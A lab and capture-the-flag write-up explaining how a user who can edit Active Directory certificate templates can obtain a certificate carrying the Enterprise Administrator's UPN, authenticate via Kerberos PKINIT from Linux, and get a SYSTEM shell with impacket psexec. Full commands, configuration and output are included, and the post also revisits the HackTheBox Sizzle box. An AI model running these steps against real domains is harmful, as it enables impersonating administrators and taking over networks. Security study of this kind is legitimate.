Impersonating a Windows Enterprise Admin with a Certificate: Kerberos PKINIT from Linux

This is about a serious misconfiguration of a Windows Public Key Infrastructure integrated with Active Directory: If you can edit certificate templates, you can impersonate the Active Directory Forests’s Enterprise Administrator by logging on with a client certificate. You have a persistent credential that will also survive the reset of this admin’s password. In the past, I have demonstrated how to abuse this in a Windows-only environment, by creating a smart card on behalf of the Administrator or a logon certificate for a web application on Windows IIS. This time, I will show how to use only a Linux client and without a hardware key store.

01 Motivation and history
02 Kerberos research
03 Setting up the test environment
04 Test the user’s access
05 Misconfiguring certificate templates
06 Domain Controller certificates
07 A curious user inspects certificate templates
08 Modifying certificate templates
09 Creating the admin key and certificate request file
10 Submit the request
11 Linux Kerberos client configuration overview
12 First Kerberos test: User name and password
13 Preparing krb5.conf for PKINIT
14 kinit as the Administrator: Getting a Ticket Granting Ticket
15 Using the ticket with impacket tools: System shell!
16 Back to hackthebox Sizzle
17 Logon as amanda@HTB.LOCAL
18 Editing templates and getting a certificate for Administrator@htb.local
19 Changing the  Linux Kerberos config: HTB.LOCAL realm
20 Using chisel
21 Get a shell with wmiexec
22 Summary

01 Motivation and history

I have been inspired to do more research on this by the box Sizzle available on the hackthebox pentesting platform (2019 Write-Up): The Domain Controller ‘Sizzle’ had to be owned by exploiting two – other – AD loopholes. However, lo and behold, this machine also allowed the group Authenticated Users to change certificate templates (and it meets the other, common, prerequisites)!

I pwned the box using a very involved route using  tools built into Windows: The Domain Admins were not allowed to logon using a (software) certificate through Powershell WinRM. Solution: I logged on with a physical token with a smartcard chip as this is the only ‘native’ way to  start a Kerberos session using a certificate. As the Domain Controllers Kerberos port TCP 88 was not accessible, I had to spoof an Active Directory DNS server. I ended up with running Linux Kali as a ‘socat gateway’ routing traffic to the DC (using  meterpreter routing), joining a Windows box to Sizzle’s domain and run tools using the /smartcard option from there.

But I had been thinking – might there be a simpler way?

This article also documents my first ever attempt to use a Linux Kerberos client in a Windows domain – which was surprisingly easy.

02 Kerberos research

Logging on with a smart card to a Windows client in a domain or using command line tools with the /smartcard option means to use Kerberos PKINIT – a standardized extension to the Kerberos protocol. The (minimum) Linux client components to do this are the basic components included (e.g.) in the krb5-user package and krb5-pkinit.

I have not seen any constraint related to the type of key store: PKINIT should work if you configure the Kerberos client for certificates – making changes to the config file /etc/krb5.conf and/or the options to use with kinit – the tool to start the session and get the Ticket Granting Ticket.

The documentation for the Linux tools also mentions the naming attribute used in a Microsoft Kerberos realm explicitly: The ‘Microsoft’ User Principal Name. Each user has a logon name that looks like an e-mail address, if not set explicitly it is automatically equal to sAMAccountname @ [FQDN of the user’s home domain ]. If a certificate has this name in its Subject Alternative Name, it would automatically be mapped onto the corresponding user. This is explained in detail in Microsoft’s white paper(s) on Smart Card Architecture; for details on name routing see this part on Certificate Requirements and Enumeration, especially this figure on certificate processing logic.

Re Kerberos protocols and tickets basics, I still find this old Microsoft article very good: How the Kerberos Version 5 Authentication Protocol Works – explaining every step, with figures that show which key and ticket are held by each party at each step.

After researching Kerberos PKINIT I have been quite confident I should be able to get a Kerberos ticket on a properly configured Linux client (once the Kerberos port has been exposed by ‘routing’ it through some hacker tool the low privileged user has started).

How to actually use the ticket? The tools that came to my mind were the impacket ‘example’ tools: smbexec.py, psexec.py, wmiexec.py. All of them have an option to supply an existing Kerberos ticket instead of using a password.

03 Setting up the test environment

Before returning to Sizzle I wanted to check all the steps, using a DC to which I have unrestricted access. I set up a DC and a domain member with minimum customization:

On a fresh Windows Server 2019 Core Installation I add the DC role service and configure the AD forest …

Install-WindowsFeature 'Ad-Domain-Services'
Install-ADDSForest -InstallDns -DomainName 'testdomain.local'

… then add a low-privileged user, also calling her amanda to honor Sizzle on hackthebox :-)

net user /ADD amanda sizzle123!

This user is allowed to start a Powershell session using WinRM. On hackthebox this was needed as there was only a single box and this was the DC that also held the user flag. In my Linux-Windows environment the user needs to be able to run Powershell commands on some machine in the domain – it would not have to be a Domain Controller.

net localgroup "Remote Management Users" amanda /ADD

Adding a next-next-finish PKI … which is what sometimes happens in the real world when an AD-integrated PKI is installed quickly because some tool requires certificates:

Install-WindowsFeature 'Adcs-Cert-Authority'
Install-AdcsCertificationAuthority -CACommonName 'Test Enterprise Root CA' -CADistinguishedNameSuffix 'O=Test Company,C=AT' -CAType EnterpriseRootCA -CryptoProviderName 'RSA#Microsoft Software Key Storage Provider' -KeyLength 2048 -HashAlgorithmName SHA256 -ValidityPeriod 'Years' -ValidityPeriodUnits 10
Install-WindowsFeature 'Adcs-Web-Enrollment'
Install-AdcsWebEnrollment

I create a fresh Windows 10 Pro Edition virtual machine and use the Microsoft GUI tools to

  • Configure the machine pki.testdomain.local as the DNS server (Properties of the networking adapter)
  • Join this box to the domain from System, Properties – providing amanda’s credentials (Explorer/Properties of This Computer/Change Settings for Computer name, domain, …)

Yes, a normal user can join their machine to a domain! I had used that fact many years ago when I had to renew my smart card in a large corporate environment though I hardly ever visited the office. I connected over VPN and joined my test machine to the domain.

04 Test the user’s access

amanda can successfully start a session on the DC machine pki.testdomain.local

Enter-PSsession -computername PKI -cred testdomain\amanda

(The password is prompted for, via an Windows-XP-style pop-up)

amanda is not able to interactively logon to the DC: Running …

runas /user amanda cmd

results in an error as she has not been granted the requested logon type.

From a Linux client, amanda can logon using evil-winrm

/opt/evil-winrm# ./evil-winrm.rb -i [IP_of_pki.testdomain.local] -u amanda -p sizzle123!

05 Misconfiguring certificate templates

On Sizzle Authenticated Users (= every user and every machine account in the Forest) had Full Control on one template. For this test I copy the default template named WebServer using the management console certtmpl.msc, and rename the duplicate to WebServer2, and give only the amanda user permission.

The Administrator of the domain TESTDOMAIN gives amanda full control over this template. I am old school so I like pre-Powershell dsacls :-) (GA – ‘Generic All’)

dsacls "CN=WebServer2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=testdomain,DC=local" /G amanda:GA
    ...
     Allow TESTDOMAIN\amanda          SPECIAL ACCESS
                                      READ PERMISSONS
                                      WRITE PERMISSIONS
                                      CHANGE OWNERSHIP
                                      LIST CONTENTS
                                      WRITE PROPERTY
                                      READ PROPERTY
    Allow TESTDOMAIN\Domain Admins    SPECIAL ACCESS
                                      DELETE
                                      READ PERMISSONS
                                      WRITE PERMISSIONS
                                      CHANGE OWNERSHIP
                                      CREATE CHILD
                                      DELETE CHILD
                                      LIST CONTENTS
                                      WRITE SELF
                                      WRITE PROPERTY
                                      READ PROPERTY
                                      DELETE TREE
                                      LIST OBJECT
    ...

So amanda has still fewer permissions than the other admins, but they are (obviously – see below) sufficient for what I will do next.

The template is then made available at the local CA – ‘published’ to the CA:

certutil -setcatemplates +WebServer2

Windows domain clients search for templates they have Enroll permission to in AD configuration container, but they will only try to submit a certificate request when they find a CA where this template is published = referenced in the CA’s Enrollment Services Object’s certificateTemplates attribute.

06 Domain Controller certificates

One pre-requisite for smart card logon I haven’t not mentioned so far – as it is usually met in any next-next-finish Windows PKI environment: Also DCs need to have certificates – authentication is mutual! The user shows their certificate to the server and the server to the user. There are three different kinds of DC certificates, dating from different periods, and all of them allow for smart card logon. The oldest template, DomainController, is associated with the hard-coded Windows-2000-style of Automatic Certificate Enrollment – the precursor of Windows 2003/XP and later Autoenrollment: DCs will enroll for that certificate if an AD-integrated PKI is there, without further configuration.

Checking for the presence of the certificate as the domain admin gives the expected output: Info on the certificate of the CA, and on one suitable KDC certificate associated with the template DomainController.

certutil -dcinfo
0: PKI

*** Testing DC[0]: PKI
** Enterprise Root Certificates for DC PKI
Certificate 0:
Serial Number: 709fa84cd966c3a8425a96a165d375ec
Issuer: CN=Test Enterprise Root CA, O=Test Company, C=AT
NotBefore: 24/05/2020 23:29
NotAfter: 24/05/2030 23:39
Subject: CN=Test Enterprise Root CA, O=Test Company, C=AT
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): 8f13249e066fe679967d6b158600711eb90fd2fd

** KDC Certificates for DC PKI
Certificate 0:
Serial Number: 3b000000023f89754f7b3b2d6d000000000002
Issuer: CN=Test Enterprise Root CA, O=Test Company, C=AT
NotBefore: 24/05/2020 23:32
NotAfter: 24/05/2021 23:32
Subject: CN=PKI.testdomain.local
Certificate Template Name (Certificate Type): DomainController
Non-root Certificate
Template: DomainController, Domain Controller
Cert Hash(sha1): e12f6208629bfb92fa36f4abd2ba0429a8919edd

1 KDC certificates for PKI

Actually, I sometimes had to reboot my DC after it had automatically enrolled the certificate, to make it play nicely and really use this certificate in a PKINIT session. (On Sizzle this was not an issue).

07 A curious user inspects certificate templates

On hackthebox Sizzle the user amanda was only able to logon via WinRM using a client certificate. I did not replicate that as the only thing I finally need is a constrained PSSession, so amanda is allowed to logon using her password – and constrains herself after logging on :-)

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

This is just a pre-caution to prevent myself from using ‘too flexible commands’. But I am not going to use any Powershell commands anyway that require to create objects or the like!

amanda uses certutil – which is Windows’ equivalent of openssl (combined with the tool for requests, certreq) to inspect certificate templates in Active Directory.

Checking templates available at the local CA (If this would be run from another machine in AD, the -config option would be required to target a CA):

certutil -catemplates
WebServer2: Web Server 2 -- Auto-Enroll
DirectoryEmailReplication: Directory Email Replication -- Access is denied.
DomainControllerAuthentication: Domain Controller Authentication -- Access is denied.
KerberosAuthentication: Kerberos Authentication -- Access is denied.
EFSRecovery: EFS Recovery Agent -- Access is denied.
EFS: Basic EFS -- Auto-Enroll: Access is denied.
DomainController: Domain Controller -- Access is denied.
WebServer: Web Server -- Access is denied.
Machine: Computer -- Access is denied.
User: User -- Auto-Enroll: Access is denied.
SubCA: Subordinate Certification Authority -- Access is denied.
Administrator: Administrator -- Access is denied.
CertUtil: -CATemplates command completed successfully.

amanda notices she could immediately enroll for the Web Server 2 template – thus she focuses on this one. Of course, she might be denied enroll access but still be able to edit the template, so the permissions of all templates should be investigated.

Using the verbous option -v shows permissions in a nice way:

certutil -v -dstemplate webserver2
...
Allow Enroll TESTDOMAIN\Domain Admins
Allow Enroll TESTDOMAIN\Enterprise Admins
Allow Write TESTDOMAIN\amanda
Allow Full Control TESTDOMAIN\Domain Admins
Allow Full Control TESTDOMAIN\Enterprise Admins
Allow Full Control TESTDOMAIN\Administrator
Allow Full Control TESTDOMAIN\amanda
Allow Read NT AUTHORITY\Authenticated Users

Adding the option -v when viewing objects or registry keys with certutil always shows the options encoded into otherwise enigmatic bitmasks, so amanda notices that 1) no manager approval is required for this certificate template – requests are not pending – and 2) names can be supplied in the request (the usual config for web server certificates).

certutil -v -dstemplate webserver2
    ...
    msPKI-Enrollment-Flag = "0"
      (CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1)
      (CT_FLAG_PEND_ALL_REQUESTS -- 2)
    ...
    msPKI-Certificate-Name-Flag = "1"
    CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1

This does not require the dangerous flag EDITF_ATTRIBUTESUBJECTALTNAME2 to be set at the CA (which isn’t in this test environment) – that flag would allow custom SANs to be added with any certificate template, not only for the ones where you can submit custom subject names.

But the template only has the EKU for Server Authentication so far. Application Policy is (AFAIK) a Microsoft-specific way to encode the same information as EKU:

certutil -v -dstemplate webserver2
    ...
    pKIExtendedKeyUsage = "1.3.6.1.5.5.7.3.1" Server Authentication
    msPKI-Certificate-Application-Policy = "1.3.6.1.5.5.7.3.1" Server Authentication
    ...

08 Modifying certificate templates

To make a certificate eligible for smart card logon, we need to add the respective OID for Smart Card Logon 1.3.6.1.4.1.311.20.2.2 to the list of extended key usages and also application policies. Note that changing templates like that is not supported by Microsoft so you should never do that in a production PKI as weird things may happen! The supported way is to copy an existing template in the templates management console, certtmpl.msc, and edit the duplicate there.

amanda changes the template using the standard Powershell command for adding attributes to a multi-valued attribute in AD.

$EKUs=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
Set-ADObject "CN=WebServer2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=testdomain,DC=local" -Add @{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}

09 Creating the admin key and certificate request file

This time on Linux, with openssl!

I wanted to add the user’s full distinguished name to the subject name although that should not matter for smart card logon (if everything is configured with defaults). But theoretically, settings for custom name routing could be in place or you might be interesting in hacking a different application that actually uses the DN. So I want to replicate the exact DN.

As the Administrator’s DN has two CN and two DC components in it,  it seems you cannot do that via an openssl cnf file only (then only one CN and one DC would be added). Solution: I add only a CN to the config file, and specify the full DN inline in the openssl command. Note that you do not need  / it does not make sense to add any attributes that will be  dominated by the template, like the extended key usages.

Shell script for creating the config file admin.cnf and generating key and request:

    cnffile="admin.cnf"
    reqfile="admin.req"
    keyfile="admin.key"

    dn="/DC=local/DC=testdomain/CN=Users/CN=Administrator"

    cat > $cnffile <<EOF
    [ req ]
    default_bits = 2048
    prompt = no
    req_extensions = user
    distinguished_name = dn

    [ dn ]
    CN = Administrator

    [ user ]
    subjectAltName = otherName:msUPN;UTF8:administrator@testdomain.local

    EOF

    openssl req -config $cnffile -subj $dn -new -nodes -sha256 -out $reqfile -keyout $keyfile

Request as analyzed with openssl – the UPN cannot be ‘resolved’:

openssl req -in admin.req -text -noout
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: DC = local, DC = testdomain, CN = Users, CN = Administrator
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ce:d3:a1:c5:9a:ad:f0:e2:a1:9f:f8:26:26:e2:
                    10:d0:d5:7d:60:d7:52:f3:75:f3:44:51:a2:f6:2c:
                    d5:d8:68:20:2c:df:44:0c:31:61:c5:1a:eb:91:3a:
                    37:f0:73:23:c3:a1:51:aa:86:13:be:76:85:03:8a:
                    ae:62:29:2a:c8:61:ec:f7:01:64:a0:78:a7:fc:9d:
                    00:97:08:fd:b0:ee:29:22:56:e4:b8:91:5e:40:a0:
                    05:2e:c3:11:be:f7:b7:9c:a6:70:bd:7b:0d:d9:3b:
                    bb:92:1a:da:6b:76:45:27:d9:29:5d:85:1b:02:39:
                    22:b4:23:da:ac:82:94:9a:f2:aa:c9:f2:27:84:60:
                    2d:ae:30:6a:ac:21:c5:db:0d:e9:02:35:de:ba:60:
                    6f:f1:8d:29:78:98:4f:00:1e:7c:f6:31:a6:1d:85:
                    32:32:5b:8e:4f:4d:fc:59:b8:ff:a5:c4:6a:64:21:
                    fc:5e:ca:e7:76:5e:6c:78:fc:40:69:e0:57:77:79:
                    e3:4f:d4:54:57:4a:9e:38:bc:a5:cd:70:5d:84:4d:
                    d3:aa:0f:75:bb:f2:05:a0:5c:29:6f:57:1a:6c:d0:
                    56:a2:60:61:a7:1f:d1:e9:df:01:a0:60:fd:07:2b:
                    ba:49:43:65:27:7d:c2:c1:54:e7:b5:28:2c:e6:c7:
                    f7:65
                Exponent: 65537 (0x10001)
        Attributes:
        Requested Extensions:
            X509v3 Subject Alternative Name: 
                othername:
    Signature Algorithm: sha256WithRSAEncryption
         4c:26:62:86:f1:06:14:8b:d1:87:a7:24:82:93:a3:9c:d9:0a:
         bb:8a:6b:1a:87:7b:ec:52:ce:6c:73:a5:f7:82:9b:0f:ab:75:
         a3:03:33:7d:87:2d:56:da:21:fa:20:ee:fe:ef:c7:51:d9:2b:
         6b:a2:4b:88:eb:03:93:e4:cb:3a:6b:1e:22:a7:cc:4f:cc:f4:
         1e:03:e0:8b:4c:77:51:9f:78:ec:16:12:4a:9a:e5:66:27:b8:
         88:7f:32:09:43:59:23:c1:bb:6c:ec:9f:a1:4c:42:1f:3b:5f:
         39:ac:5e:bf:64:5d:ca:0b:db:68:df:27:09:97:dd:cb:f1:7f:
         64:7f:93:08:ba:3e:df:39:39:19:e8:14:a5:fb:65:ce:67:c5:
         7b:9c:13:ba:49:91:5c:24:b9:26:9e:e4:f6:c5:e0:89:35:ee:
         69:45:c2:cd:05:92:3a:12:53:e7:d5:f4:91:80:b1:52:42:bb:
         76:de:e8:8d:b8:2a:18:d6:d5:2c:aa:fa:a3:83:0b:92:be:59:
         83:7c:04:59:83:2c:30:4a:60:6e:9d:19:ae:31:19:64:59:05:
         81:27:78:66:ee:68:ed:a4:75:45:c1:13:a5:9b:fd:0c:7e:3c:
         92:9f:23:d0:c2:9e:08:00:0f:66:d2:9a:1d:b9:f9:71:92:79:
         48:5f:d8:6d

10 Submit the request

The CA runs the web enrollment role – a simple ASP web application.

See extensive screenshots on how to do this in the Sizzle post!

You paste the BASE64 encoded request and select your template (Web Server 2) from the list, and you can download the certificate immediately. If the template would have been configured for CA Manager approval, amanda could have changed that with certutil before.

openssl dump of the certificate – the UPN is not displayed, but the changed EKUs and all the other attributes embedded by the CA are visible:

openssl x509 -in admin.cer  -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            3b:00:00:00:08:5c:fa:31:72:39:f6:4e:e6:00:00:00:00:00:08
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = AT, O = Test Company, CN = Test Enterprise Root CA
        Validity
            Not Before: May 27 10:55:55 2020 GMT
            Not After : May 27 10:55:55 2022 GMT
        Subject: DC = local, DC = testdomain, CN = Users, CN = Administrator
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ce:d3:a1:c5:9a:ad:f0:e2:a1:9f:f8:26:26:e2:
                    10:d0:d5:7d:60:d7:52:f3:75:f3:44:51:a2:f6:2c:
                    d5:d8:68:20:2c:df:44:0c:31:61:c5:1a:eb:91:3a:
                    37:f0:73:23:c3:a1:51:aa:86:13:be:76:85:03:8a:
                    ae:62:29:2a:c8:61:ec:f7:01:64:a0:78:a7:fc:9d:
                    00:97:08:fd:b0:ee:29:22:56:e4:b8:91:5e:40:a0:
                    05:2e:c3:11:be:f7:b7:9c:a6:70:bd:7b:0d:d9:3b:
                    bb:92:1a:da:6b:76:45:27:d9:29:5d:85:1b:02:39:
                    22:b4:23:da:ac:82:94:9a:f2:aa:c9:f2:27:84:60:
                    2d:ae:30:6a:ac:21:c5:db:0d:e9:02:35:de:ba:60:
                    6f:f1:8d:29:78:98:4f:00:1e:7c:f6:31:a6:1d:85:
                    32:32:5b:8e:4f:4d:fc:59:b8:ff:a5:c4:6a:64:21:
                    fc:5e:ca:e7:76:5e:6c:78:fc:40:69:e0:57:77:79:
                    e3:4f:d4:54:57:4a:9e:38:bc:a5:cd:70:5d:84:4d:
                    d3:aa:0f:75:bb:f2:05:a0:5c:29:6f:57:1a:6c:d0:
                    56:a2:60:61:a7:1f:d1:e9:df:01:a0:60:fd:07:2b:
                    ba:49:43:65:27:7d:c2:c1:54:e7:b5:28:2c:e6:c7:
                    f7:65
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Alternative Name: 
                othername:
            X509v3 Subject Key Identifier: 
                D9:AD:2A:29:17:4B:AF:FC:56:33:7F:0A:DF:7A:DE:EE:5E:68:15:F0
            X509v3 Authority Key Identifier: 
                keyid:A7:33:40:97:94:83:1B:3E:CE:05:B3:00:BA:20:D6:16:79:2D:97:95

            X509v3 CRL Distribution Points: 

                Full Name:
                  URI:ldap:///CN=Test%20Enterprise%20Root%20CA,CN=PKI,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=testdomain,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint

            Authority Information Access: 
                CA Issuers - URI:ldap:///CN=Test%20Enterprise%20Root%20CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=testdomain,DC=local?cACertificate?base?objectClass=certificationAuthority

            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            1.3.6.1.4.1.311.21.7: 
                0..&+.....7.....Y...X...?...).....u...0..|..d...
            X509v3 Extended Key Usage: 
                Microsoft Smartcardlogin, TLS Web Client Authentication, TLS Web Server Authentication
            1.3.6.1.4.1.311.21.10: 
                0&0..
+.....7...0
..+.......0
..+.......
    Signature Algorithm: sha256WithRSAEncryption
         7d:ee:48:22:d2:4f:7a:e0:44:bc:50:2d:05:9b:04:46:2d:9e:
         ba:b1:4a:a5:f8:2e:77:c1:96:0d:60:86:07:33:28:23:a3:a6:
         88:c4:78:a5:b9:9a:9d:30:cb:c5:8a:8c:37:60:05:5f:8c:25:
         6c:5e:d0:98:b6:32:44:3d:ce:00:3a:08:41:ec:3f:f3:d2:2f:
         40:04:f2:15:60:31:3f:29:9b:b1:3d:3c:1a:30:b6:7b:bd:ec:
         71:c5:e4:9f:9e:a3:e8:46:65:e6:1b:72:63:2f:e8:e9:29:96:
         f8:13:d9:85:60:cc:58:03:ea:85:1c:bb:43:5b:d5:d6:12:d9:
         57:dd:d1:3e:66:fb:11:78:fa:05:e5:a5:37:10:b3:4c:80:af:
         ee:bc:ff:b4:29:bf:54:09:08:0f:cf:a6:af:61:06:74:c3:a2:
         60:5e:84:ab:d0:6e:56:c8:89:5c:8c:7e:5f:e6:70:93:05:d5:
         9c:35:2e:e9:28:c6:8b:33:ea:87:f5:31:9a:c4:ea:86:8c:53:
         e0:3c:bb:db:04:da:88:f9:7e:1f:d6:79:06:5d:49:61:92:b1:
         20:39:de:c7:33:7b:a8:77:ba:8c:a4:95:e3:a8:f3:d8:65:1a:
         da:e7:b5:ef:b9:ee:b7:a1:a8:7a:8b:3b:4f:d1:11:d2:b2:8a:
         71:70:28:cb

Dumping the same certificate with certutil on a Windows box shows the UPN:

certutil admin.cer
...
Certificate Extensions: 9
    2.5.29.17: Flags = 0, Length = 32
    Subject Alternative Name
        Other Name:
             Principal Name=Administrator@TESTDOMAIN.LOCAL
...

11 Linux Kerberos client configuration overview

On a Kali Linux client that has network access to the DC pki.testdomain.local, I install the basic package …

apt install krb5-user

… and I am prompted for the name of the KDC, the authoritative (password-changing) DC – both pki-testdomain.local and the realm, testdomain.local. These data are automatically added to the krb5.conf file.

In addition, I install the pkinit package for the certificate-based logon:

apt install krb5-pkinit

!!! Note !!! The realm actually needs to be in capital letters – otherwise kinit will fail! I learned it from troubleshooting threads in forums.

In the /etc/krb5.conf file of the Linux client the following has to be configured:

  • The default realm = name of the domain you are going to ‘join’ the client, so a (K)DC will automatically be contacted when you start a PKINIT session. I did not test this with a realistic environment with multiple domains in an AD forest – the realm might either be the user’s home domain or the root domain = name of the actual Kerberos realm / AD forest.
  • The name of the KDC = Kerberos Distribution Center = name of the DC. Again I am not 100% sure about multiple domains, I added the only DC of the only domain I had.
  • Relax constraints on certificates by not requiring special KDC OIDs (Object IDs for extended key usages) in the DC’s server certificate. You could set those if you configure you DC to auto-enroll the newest type of KDC template, but this might rather not be set in a next-next-finish PKI.
  • For using PKINIT – certificate and key stores: Where to find 1) your personal client certificate and key and 2) where to find the corresponding CA certificate. In the Windows domain, the latter is done by storing the Enterprise PKI certificate in the NTAuth object in AD from where every client in the forest will download it. <– This is the critical step! Not every CA trusted on Windows would automatically also be trusted for AD logon.

12 First Kerberos test: User name and password

To confirm that Kerberos without certificates I used this simple krb5.conf file (omitting the default realms also added automatically, universities etc.)

    [libdefaults]
	default_realm = TESTDOMAIN.LOCAL
    ...
    [realms]
        testdomain.local = {
                kdc = pki.TESTDOMAIN.LOCAL
                admin_server = pki.TESTDOMAIN.LOCAL
        }
    ...

Adding pki.testdomain.local to /etc/hosts, asking for a Kerberos ticket on the Linux client with kinit, then checking the ticket with klist. It works both for amanda and for the Administrator:

kinit amanda@TESTDOMAIN.LOCAL
    Password for amanda@TESTDOMAIN.LOCAL: 
 
klist
    Ticket cache: FILE:/tmp/krb5cc_0
    Default principal: amanda@TESTDOMAIN.LOCAL

    Valid starting       Expires              Service principal
    05/25/2020 14:21:38  05/26/2020 00:21:38  krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LOCAL
            renew until 05/26/2020 14:21:32

...
kinit Administrator@TESTDOMAIN.LOCAL 
    Password for Administrator@TESTDOMAIN.LOCAL: 
    
    Ticket cache: FILE:/tmp/krb5cc_0
    Default principal: Administrator@TESTDOMAIN.LOCAL

    Valid starting       Expires              Service principal
    05/25/2020 14:37:27  05/26/2020 00:37:27  krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LOCAL
            renew until 05/26/2020 14:37:22

13 Preparing krb5.conf for PKINIT

I am adding the information about the CA certificate’s location, the user’s key and certificate file, and I am relaxing requirements for KDC certificates:

...
[realms]
	TESTDOMAIN.LOCAL = {
		kdc = pki.TESTDOMAIN.LOCAL
		admin_server = pki.TESTDOMAIN.LOCAL
		pkinit_anchors = FILE:/research/_Kerberos-Certificates/ca.cer
		pkinit_identites = FILE:/research/_Kerberos-Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key
		pkinit_kdc_hostname = PKI.testdomain.local 
		pkinit_eku_checking = kpServerAuth
	}
...

According to the documentation as I understood it, this should be sufficient. As an alternative, you could also add the certificate information as a command line option when starting kinit, using this option:

kinit -X X509_user_identity=FILE:/research/_Kerberos-Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key Administrator@TESTDOMAIN.LOCAL

For me however, pkinit only worked when specifying this additional parameter in addition to krb5.conf.

14 kinit as the Administrator: Getting a Ticket Granting Ticket

Now, the big moment:

With kinit you are not prompted for a password and you get a ticket! The ticket file has a pointer to the certificate files:

kinit -X X509_user_identity=FILE:/research/_Kerberos-Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key  Administrator@TESTDOMAIN.LOCAL

cat /tmp/krb5cc_0 

    AdministratorTESTDOMAIN.LOCALkrbtgtTESTDOMAIN.LOCAL ...
[non-readable characters deleted]    
...                              
... TESTDOMAIN.LOCAL
    AdministratorX-CACHECONF:krb5_ccache_conf_datapa_type(krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LOCAL16TESTDOMAIN.LOCAL
                 X-CACHECONF:krb5_ccache_conf_datapa_config_data(krbtgt/TESTDOMAIN.LOCAL@TESTDOMAIN.LOCALs{"X509_user_identity":"FILE:/research/_Kerberos-Certificates/admin.cer,/research/_Kerberos-Certificates/admin.key"}

Sniffing the traffic shows that the client sends a request for a TGT – AS_REQ – and gets a reply – AS_REP.

15 Using the ticket with impacket tools: System shell!

The next big moment!

impacket tools needs to know where the ticket is and this variable is not set per default:

export KRB5CCNAME=/tmp/krb5cc_0

In psexec.py, no password is provided (or prompted for), but Kerberos authentication is used via options -k -no-pass. I get a system shell!

\o/

python /usr/share/doc/python3-impacket/examples/psexec.py testdomain.local/Administrator@pki.testdomain.local -k -no-pass -dc-ip 192.168.77.92
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on pki.testdomain.local.....
[*] Found writable share ADMIN$
[*] Uploading file xJAPjSfr.exe
[*] Opening SVCManager on pki.testdomain.local.....
[*] Creating service wOKr on pki.testdomain.local.....
[*] Starting service wOKr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1217]
(c) 2018 Microsoft Corporation. All rights reserved

C:\Windows\system32>whoami
nt authority\system

\o/

Sniffing the traffic: The client indeed presents its TGT in the request for a Service Ticket (TGS_REQ) and receives it (TGS_REP):

psexec-kerberos-tgs

16 Back to hackthebox Sizzle!

Just to be 100% sure I did not let some custom config slip in that made my life too easy, I will also own Sizzle again with this method :-) The main additional steps to get to the actual admin hack are:

  • Enroll for a client certificate as amanda as this is required for the PSSession.
  • Make the missing Kerberos port availabe – I use chisel this time instead of my complex 2-step process to get a meterpreter shell.

When I can finally logon as amanda and the route is up, everything works as before in the test lab!

17 Logon as amanda@HTB.LOCAL

On Sizzle I had to  amanda’s password from making her access a malicious LNK file and steal hear hash (see the original write-up). Then I could use the http://sizzle.htb.local/certsrv/certrqxt.asp app to enroll for a certificate of the type (certificate template) User. I created the request and key with openssl, and the submission of the request works as explained before.

Last time I socat-ed WinRM to (yet another) Windows box to use Powershell, this time I used evil-winrm on Kali with the option for client certificate logon -k. Note that it also prompts for a password, but you can enter anything here and it will work!

./evil-winrm.rb -S -c amanda.crt -k amanda.key -i 10.10.10.103 -u amanda

Enter Password:

Evil-WinRM shell v2.0

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\amanda\Documents>

18 Editing templates and getting a certificate for Administrator@htb.local

amanda checks the templates in the htb.local forest. There is a template SSL she can enroll:

certutil -catemplates
    SSL: SSL -- Auto-Enroll
    Usercert: Usercert -- Auto-Enroll: Access is denied.
    DirectoryEmailReplication: Directory Email Replication -- Access is denied.
    DomainControllerAuthentication: Domain Controller Authentication -- Access is denied.
    KerberosAuthentication: Kerberos Authentication -- Access is denied.
    EFSRecovery: EFS Recovery Agent -- Access is denied.
    EFS: Basic EFS -- Auto-Enroll: Access is denied.
    DomainController: Domain Controller -- Access is denied.
    WebServer: Web Server -- Access is denied.
    Machine: Computer -- Access is denied.
    User: User -- Auto-Enroll: Access is denied.
    SubCA: Subordinate Certification Authority -- Access is denied.
    Administrator: Administrator -- Access is denied.
    CertUtil: -CATemplates command completed successfully.

Inspecting the SSL template she notices that the EKU / Application Policy requires amendment:

certutil -dstemplate SSL

     [Version]
    Signature = "$Windows NT$"

    [SSL]
        objectClass = "top", "pKICertificateTemplate"
        cn = "SSL"
        distinguishedName = "CN=SSL,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HTB,DC=LOCAL"
        instanceType = "4"
        whenCreated = "20180703180611.0Z"
        whenChanged = "20180703180645.0Z"
        displayName = "SSL"
        uSNCreated = "16440"
        uSNChanged = "16445"
        showInAdvancedViewOnly = "TRUE"
